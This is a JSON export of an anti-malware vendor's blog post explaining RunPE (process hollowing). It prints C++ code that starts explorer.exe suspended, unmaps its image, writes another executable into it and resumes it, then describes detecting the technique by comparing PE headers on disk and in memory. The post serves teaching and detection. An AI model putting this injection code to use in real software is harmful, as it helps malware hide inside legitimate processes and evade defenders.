{"id":335,"date":"2015-06-10T06:16:51","date_gmt":"2015-06-10T06:16:51","guid":{"rendered":"http:\/\/www.adlice.com\/?p=335"},"modified":"2022-12-21T10:37:40","modified_gmt":"2022-12-21T10:37:40","slug":"runpe-hide-code-behind-legit-process","status":"publish","type":"post","link":"https:\/\/www.adlice.com\/de\/runpe-hide-code-behind-legit-process\/","title":{"rendered":"RunPE: How to hide code behind a legit process"},"content":{"rendered":"\n<h4 class=\"has-accent-color has-text-color wp-block-heading\">Introduction<\/h4>\n\n\n\n<p><strong>Disclaimer: This is not a tutorial to make a malware, but a practical case for educational purpose only.<\/strong> Anyway, this is covered for decades on other websites&#8230;<\/p>\n\n\n\n<p><strong>Hiding a process<\/strong> has always being challenging for malware writers, and they found many ways to do so. The tip I&#8217;ll talk about is very basic, yet simple to write, but doesn&#8217;t work all the time. <strong>This trick is known under the name &#8220;RunPE&#8221;<\/strong> and has been used many time in malware industry, <strong>especially in RATs<\/strong> (Remote Administration Tools).<\/p>\n\n\n\n<p>Basically, when a malware starts, it will <strong>pick a victim<\/strong> among the Windows processes (like explorer.exe) and <strong>start a new instance<\/strong> of it, in a <strong>suspended state<\/strong>. In that state it&#8217;s safe to modify and the malware will totally <strong>clear it from its code<\/strong>, extend the memory if needed, and <strong>copy its own code inside<\/strong>.<\/p>\n\n\n\n<p>Then, the malware will do some magic to <strong>adjust the address of entry point<\/strong> as well as the base address and will <strong>resume the process<\/strong>.<br>After being resumed, <strong>the process shows being started from a file (explorer.exe) that has nothing to do anymore with what it actually does<\/strong>.<\/p>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>RunPE: Code<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>void RunPe( wstring const&amp; target, wstring const&amp; source )\n{\n    Pe src_pe( source );        \/\/ Parse source PE structure\n    if ( src_pe.isvalid )\n    {        \n        Process::CreationResults res = Process::CreateWithFlags( target, L\"\", CREATE_SUSPENDED, false, false ); \/\/ Start a suspended instance of target\n        if ( res.success )\n        {\n            PCONTEXT CTX = PCONTEXT( VirtualAlloc( NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE ) );   \/\/ Allocate space for context\n            CTX-&gt;ContextFlags = CONTEXT_FULL;\n\n            if ( GetThreadContext( res.hThread, LPCONTEXT( CTX ) ) )    \/\/ Read target context\n            {\n                DWORD dwImageBase;\n                ReadProcessMemory( res.hProcess, LPCVOID( CTX-&gt;Ebx + 8 ), LPVOID( &amp;dwImageBase ), 4, NULL );        \/\/ Get base address of target\n                \n                typedef LONG( WINAPI * NtUnmapViewOfSection )(HANDLE ProcessHandle, PVOID BaseAddress);\n                NtUnmapViewOfSection xNtUnmapViewOfSection;\n                xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtUnmapViewOfSection\"));\n                if ( 0 == xNtUnmapViewOfSection( res.hProcess, PVOID( dwImageBase ) ) )  \/\/ Unmap target code\n                {\n                    LPVOID pImageBase = VirtualAllocEx(res.hProcess, LPVOID(dwImageBase), src_pe.NtHeadersx86.OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);  \/\/ Realloc for source code\n                    if ( pImageBase )\n                    {\n                        Buffer src_headers( src_pe.NtHeadersx86.OptionalHeader.SizeOfHeaders );                 \/\/ Read source headers\n                        PVOID src_headers_ptr = src_pe.GetPointer( 0 );\n                        if ( src_pe.ReadMemory( src_headers.Data(), src_headers_ptr, src_headers.Size() ) )\n                        {\n                            if ( WriteProcessMemory(res.hProcess, pImageBase, src_headers.Data(), src_headers.Size(), NULL) )   \/\/ Write source headers\n                            {\n                                bool success = true;\n                                for (u_int i = 0; i &lt; src_pe.sections.size(); i++)     \/\/ Write all sections\n                                {\n                                    \/\/ Get pointer on section and copy the content\n                                    Buffer src_section( src_pe.sections.at( i ).SizeOfRawData );\n                                    LPVOID src_section_ptr = src_pe.GetPointer( src_pe.sections.at( i ).PointerToRawData );\n                                    success &amp;= src_pe.ReadMemory( src_section.Data(), src_section_ptr, src_section.Size() );                                    \n\n                                    \/\/ Write content to target\n                                    success &amp;= WriteProcessMemory(res.hProcess, LPVOID(DWORD(pImageBase) + src_pe.sections.at( i ).VirtualAddress), src_section.Data(), src_section.Size(), NULL);\n                                }\n\n                                if ( success )\n                                {\n                                    WriteProcessMemory( res.hProcess, LPVOID( CTX-&gt;Ebx + 8 ), LPVOID( &amp;pImageBase), sizeof(LPVOID), NULL );      \/\/ Rewrite image base\n                                    CTX-&gt;Eax = DWORD( pImageBase ) + src_pe.NtHeadersx86.OptionalHeader.AddressOfEntryPoint;        \/\/ Rewrite entry point\n                                    SetThreadContext( res.hThread, LPCONTEXT( CTX ) );                                              \/\/ Set thread context\n                                    ResumeThread( res.hThread );                                                                    \/\/ Resume main thread\n                                }                               \n                            }\n                        }                       \n                    }\n                }\n            }\n\n            if ( res.hProcess) CloseHandle( res.hProcess );\n            if ( res.hThread ) CloseHandle( res.hThread );\n        }\n    }\n}\n...\nRunPe( L\"C:\\\\windows\\\\explorer.exe\", L\"C:\\\\windows\\\\system32\\\\calc.exe\" );<\/code><\/pre>\n\n\n\n<p><br><strong>The source code is self explaining<\/strong>, however I chose to let it strongly tied to our underlying library (Pe, Process, &#8230;) so that the code will not work out of the box (to avoid script kiddies using it for bad things). An advised engineer will be however able to understand the logic and recreate the binary.<\/p>\n\n\n\n<p>The main program will call RunPe function <strong>with explorer.exe as a target, and calc.exe as a source<\/strong>. This will result in <strong>running calc.exe code into an explorer.exe &#8220;skin&#8221;<\/strong>.<\/p>\n\n\n\n<p>The RunPe function will simply <strong>create explorer.exe in a suspended state<\/strong>, <strong>remove the sections belonging to that module<\/strong> with <a href=\"https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/hardware\/ff567119%28v=vs.85%29.aspx?f=255&amp;MSPPError=-2147217396\">NtUnmapViewOfSection<\/a>. Then it will <strong>allocate more memory at the same preferred address as the former unmapped sections<\/strong> to host the target (calc.exe) code.<\/p>\n\n\n\n<p><strong>That code (header + sections) is copied into the newly allocated section<\/strong>, and we <strong>adjust the image base + entry point address to match the new offset<\/strong> (explorer.exe base may be different). To finish, <strong>the main thread is resumed<\/strong>.<\/p>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>RunPE: Results<\/h4>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/suspended.png\"><img decoding=\"async\" width=\"588\" height=\"533\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/suspended.png\" alt=\"After create suspended\" class=\"wp-image-339\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/suspended.png 588w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/suspended-300x272.png 300w\" sizes=\"(max-width: 588px) 100vw, 588px\" \/><\/a><figcaption class=\"wp-element-caption\">After create suspended<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/unmapped.png\"><img decoding=\"async\" width=\"592\" height=\"468\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/unmapped.png\" alt=\"After explorer.exe sections are unmapped\" class=\"wp-image-340\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/unmapped.png 592w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/unmapped-300x237.png 300w\" sizes=\"(max-width: 592px) 100vw, 592px\" \/><\/a><figcaption class=\"wp-element-caption\">After explorer.exe sections are unmapped<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/newsection.png\"><img decoding=\"async\" width=\"811\" height=\"539\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/newsection.png\" alt=\"After new section is allocated\" class=\"wp-image-338\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/newsection.png 811w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/newsection-300x199.png 300w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/newsection-330x220.png 330w\" sizes=\"(max-width: 811px) 100vw, 811px\" \/><\/a><figcaption class=\"wp-element-caption\">After new section is allocated<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/written.png\"><img decoding=\"async\" width=\"807\" height=\"621\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/written.png\" alt=\"After calc.exe code is written\" class=\"wp-image-342\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/written.png 807w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/written-300x231.png 300w\" sizes=\"(max-width: 807px) 100vw, 807px\" \/><\/a><figcaption class=\"wp-element-caption\">After calc.exe code is written<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/windows.png\"><img decoding=\"async\" width=\"967\" height=\"467\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/windows.png\" alt=\" Process Hacker shows Calc caption window in explorer.exe\" class=\"wp-image-341\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/windows.png 967w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/windows-300x145.png 300w\" sizes=\"(max-width: 967px) 100vw, 967px\" \/><\/a><figcaption class=\"wp-element-caption\">Process Hacker shows Calc caption window in explorer.exe<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHILIDnWQAA4AqS.png-large.png\"><img decoding=\"async\" width=\"1023\" height=\"872\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHILIDnWQAA4AqS.png-large.png\" alt=\"RunPE inside calc.exe\" class=\"wp-image-336\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHILIDnWQAA4AqS.png-large.png 1023w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHILIDnWQAA4AqS.png-large-300x256.png 300w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHILIDnWQAA4AqS.png-large-66x55.png 66w\" sizes=\"(max-width: 1023px) 100vw, 1023px\" \/><\/a><figcaption class=\"wp-element-caption\">calc.exe strings appear in explorer.exe sections<\/figcaption><\/figure>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>RunPE: Detection<\/h4>\n\n\n\n<p><strong>As this trick is simple, it&#8217;s also simple to detect<\/strong>. We can assume safely (except for .NET assemblies) that a <strong>PE Header will be 99% the same in memory and in the disk image of a process<\/strong>.<\/p>\n\n\n\n<p>Knowing that, we can then <strong>compare in each process the PE header of the file on disk with the image in memory<\/strong>. If there&#8217;s too much differences, we can safely assume the<strong> process is hijacked<\/strong>. <strong><a href=\"https:\/\/www.adlice.com\/roguekiller\/\">RogueKiller<\/a> in version 10.8.3 is able to detect RunPE injection<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHITo1hWkAABRhF.png-large.png\"><img decoding=\"async\" width=\"507\" height=\"734\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHITo1hWkAABRhF.png-large.png\" alt=\"RunPE detection\" class=\"wp-image-337\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHITo1hWkAABRhF.png-large.png 507w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHITo1hWkAABRhF.png-large-207x300.png 207w\" sizes=\"(max-width: 507px) 100vw, 507px\" \/><\/a><figcaption class=\"wp-element-caption\">Detection of RunPE<\/figcaption><\/figure>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>Links<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/blackc0.de\/2014\/06\/defeating-runpe-malware-packer\/\">https:\/\/blackc0.de\/2014\/06\/defeating-runpe-malware-packer\/<\/a><\/li>\n\n\n\n<li><a href=\"http:\/\/menalix.com\/?tag=runpe-injection\">http:\/\/menalix.com\/?tag=runpe-injection<\/a><\/li>\n\n\n\n<li><a href=\"http:\/\/www.autosectools.com\/process-hollowing.pdf\">http:\/\/www.autosectools.com\/process-hollowing.pdf<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/www.phrozensoft.com\/2015\/05\/runpe-detector-1\">https:\/\/www.phrozensoft.com\/2015\/05\/runpe-detector-1<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>RunPE: How to hide code behind a legit process &#8211; RunPE is a trick used by some malware to hide code into a legit process. Learn how to detect.<\/p>\n","protected":false},"author":1,"featured_media":336,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[36,84],"tags":[7,150,152,6,88,303],"class_list":["post-335","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-analysis","category-tutorial","tag-analysis","tag-injection","tag-payload","tag-pe","tag-portable-executable","tag-runpe","category-36","category-84","description-off"],"views":27532,"yoast_score":67,"yoast_readable":30,"featured_image_src":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHILIDnWQAA4AqS.png-large.png","author_info":{"display_name":"tigzy","author_link":"https:\/\/www.adlice.com\/de\/author\/tigzy\/"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>RunPE Explained: Hide Malware into a Legit Process \u2022 Adlice Software<\/title>\n<meta name=\"description\" content=\"RunPE is a trick used by some malware to hide code into a legit process. Learn how it works, and to detect with this step by step tutorial.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"RunPE Explained: Hide Malware into a Legit Process \u2022 Adlice Software\" \/>\n<meta property=\"og:description\" content=\"RunPE is a trick used by some malware to hide code into a legit process. Learn how it works, and to detect with this step by step tutorial.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/\" \/>\n<meta property=\"og:site_name\" content=\"Adlice Software\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/RogueKiller\" \/>\n<meta property=\"article:published_time\" content=\"2015-06-10T06:16:51+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-12-21T10:37:40+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHILIDnWQAA4AqS.png-large.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1023\" \/>\n\t<meta property=\"og:image:height\" content=\"872\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"tigzy\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@AdliceSoftware\" \/>\n<meta name=\"twitter:site\" content=\"@AdliceSoftware\" \/>\n<meta name=\"twitter:label1\" content=\"Verfasst von\" \/>\n\t<meta name=\"twitter:data1\" content=\"tigzy\" \/>\n\t<meta name=\"twitter:label2\" content=\"Gesch\u00e4tzte Lesezeit\" \/>\n\t<meta name=\"twitter:data2\" content=\"5\u00a0Minuten\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/\"},\"author\":{\"name\":\"tigzy\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d\"},\"headline\":\"RunPE: How to hide code behind a legit process\",\"datePublished\":\"2015-06-10T06:16:51+00:00\",\"dateModified\":\"2022-12-21T10:37:40+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/\"},\"wordCount\":522,\"commentCount\":1,\"publisher\":{\"@id\":\"https:\/\/www.adlice.com\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHILIDnWQAA4AqS.png-large.png\",\"keywords\":[\"analysis\",\"injection\",\"payload\",\"pe\",\"portable executable\",\"runpe\"],\"articleSection\":[\"Analysis\",\"Tutorial\"],\"inLanguage\":\"de\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/\",\"url\":\"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/\",\"name\":\"RunPE Explained: Hide Malware into a Legit Process \u2022 Adlice Software\",\"isPartOf\":{\"@id\":\"https:\/\/www.adlice.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHILIDnWQAA4AqS.png-large.png\",\"datePublished\":\"2015-06-10T06:16:51+00:00\",\"dateModified\":\"2022-12-21T10:37:40+00:00\",\"description\":\"RunPE is a trick used by some malware to hide code into a legit process. Learn how it works, and to detect with this step by step tutorial.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/#breadcrumb\"},\"inLanguage\":\"de\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/#primaryimage\",\"url\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHILIDnWQAA4AqS.png-large.png\",\"contentUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHILIDnWQAA4AqS.png-large.png\",\"width\":1023,\"height\":872,\"caption\":\"calc.exe strings appear in explorer.exe sections\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.adlice.com\/de\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"RunPE: How to hide code behind a legit process\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.adlice.com\/#website\",\"url\":\"https:\/\/www.adlice.com\/\",\"name\":\"Adlice Software\",\"description\":\"Anti-malware and analysis tools\",\"publisher\":{\"@id\":\"https:\/\/www.adlice.com\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.adlice.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"de\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.adlice.com\/#organization\",\"name\":\"Adlice Software\",\"url\":\"https:\/\/www.adlice.com\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png\",\"contentUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png\",\"width\":276,\"height\":276,\"caption\":\"Adlice Software\"},\"image\":{\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/RogueKiller\",\"https:\/\/x.com\/AdliceSoftware\",\"https:\/\/fr.linkedin.com\/company\/adlice-software\",\"https:\/\/www.youtube.com\/channel\/UC4CQ-gIZMGWxl-auf0QqYhQ\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d\",\"name\":\"tigzy\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g\",\"caption\":\"tigzy\"},\"description\":\"Founder and owner of Adlice Software, Tigzy started as lead developer on the popular Anti-malware called RogueKiller. Involved in all the Adlice projects as lead developer, Tigzy is also doing research and reverse engineering as well as writing blog posts.\",\"url\":\"https:\/\/www.adlice.com\/de\/author\/tigzy\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"RunPE Explained: Hide Malware into a Legit Process \u2022 Adlice Software","description":"RunPE is a trick used by some malware to hide code into a legit process. Learn how it works, and to detect with this step by step tutorial.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/","og_locale":"de_DE","og_type":"article","og_title":"RunPE Explained: Hide Malware into a Legit Process \u2022 Adlice Software","og_description":"RunPE is a trick used by some malware to hide code into a legit process. Learn how it works, and to detect with this step by step tutorial.","og_url":"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/","og_site_name":"Adlice Software","article_publisher":"https:\/\/www.facebook.com\/RogueKiller","article_published_time":"2015-06-10T06:16:51+00:00","article_modified_time":"2022-12-21T10:37:40+00:00","og_image":[{"width":1023,"height":872,"url":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHILIDnWQAA4AqS.png-large.png","type":"image\/png"}],"author":"tigzy","twitter_card":"summary_large_image","twitter_creator":"@AdliceSoftware","twitter_site":"@AdliceSoftware","twitter_misc":{"Verfasst von":"tigzy","Gesch\u00e4tzte Lesezeit":"5\u00a0Minuten"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/#article","isPartOf":{"@id":"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/"},"author":{"name":"tigzy","@id":"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d"},"headline":"RunPE: How to hide code behind a legit process","datePublished":"2015-06-10T06:16:51+00:00","dateModified":"2022-12-21T10:37:40+00:00","mainEntityOfPage":{"@id":"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/"},"wordCount":522,"commentCount":1,"publisher":{"@id":"https:\/\/www.adlice.com\/#organization"},"image":{"@id":"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/#primaryimage"},"thumbnailUrl":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHILIDnWQAA4AqS.png-large.png","keywords":["analysis","injection","payload","pe","portable executable","runpe"],"articleSection":["Analysis","Tutorial"],"inLanguage":"de"},{"@type":"WebPage","@id":"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/","url":"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/","name":"RunPE Explained: Hide Malware into a Legit Process \u2022 Adlice Software","isPartOf":{"@id":"https:\/\/www.adlice.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/#primaryimage"},"image":{"@id":"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/#primaryimage"},"thumbnailUrl":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHILIDnWQAA4AqS.png-large.png","datePublished":"2015-06-10T06:16:51+00:00","dateModified":"2022-12-21T10:37:40+00:00","description":"RunPE is a trick used by some malware to hide code into a legit process. Learn how it works, and to detect with this step by step tutorial.","breadcrumb":{"@id":"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/#breadcrumb"},"inLanguage":"de","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/"]}]},{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/#primaryimage","url":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHILIDnWQAA4AqS.png-large.png","contentUrl":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/CHILIDnWQAA4AqS.png-large.png","width":1023,"height":872,"caption":"calc.exe strings appear in explorer.exe sections"},{"@type":"BreadcrumbList","@id":"https:\/\/www.adlice.com\/runpe-hide-code-behind-legit-process\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.adlice.com\/de\/"},{"@type":"ListItem","position":2,"name":"RunPE: How to hide code behind a legit process"}]},{"@type":"WebSite","@id":"https:\/\/www.adlice.com\/#website","url":"https:\/\/www.adlice.com\/","name":"Adlice Software","description":"Anti-malware and analysis tools","publisher":{"@id":"https:\/\/www.adlice.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.adlice.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"de"},{"@type":"Organization","@id":"https:\/\/www.adlice.com\/#organization","name":"Adlice Software","url":"https:\/\/www.adlice.com\/","logo":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/","url":"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png","contentUrl":"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png","width":276,"height":276,"caption":"Adlice Software"},"image":{"@id":"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/RogueKiller","https:\/\/x.com\/AdliceSoftware","https:\/\/fr.linkedin.com\/company\/adlice-software","https:\/\/www.youtube.com\/channel\/UC4CQ-gIZMGWxl-auf0QqYhQ"]},{"@type":"Person","@id":"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d","name":"tigzy","image":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/www.adlice.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g","caption":"tigzy"},"description":"Founder and owner of Adlice Software, Tigzy started as lead developer on the popular Anti-malware called RogueKiller. Involved in all the Adlice projects as lead developer, Tigzy is also doing research and reverse engineering as well as writing blog posts.","url":"https:\/\/www.adlice.com\/de\/author\/tigzy\/"}]}},"_links":{"self":[{"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/posts\/335","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/comments?post=335"}],"version-history":[{"count":0,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/posts\/335\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/media\/336"}],"wp:attachment":[{"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/media?parent=335"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/categories?post=335"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/tags?post=335"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}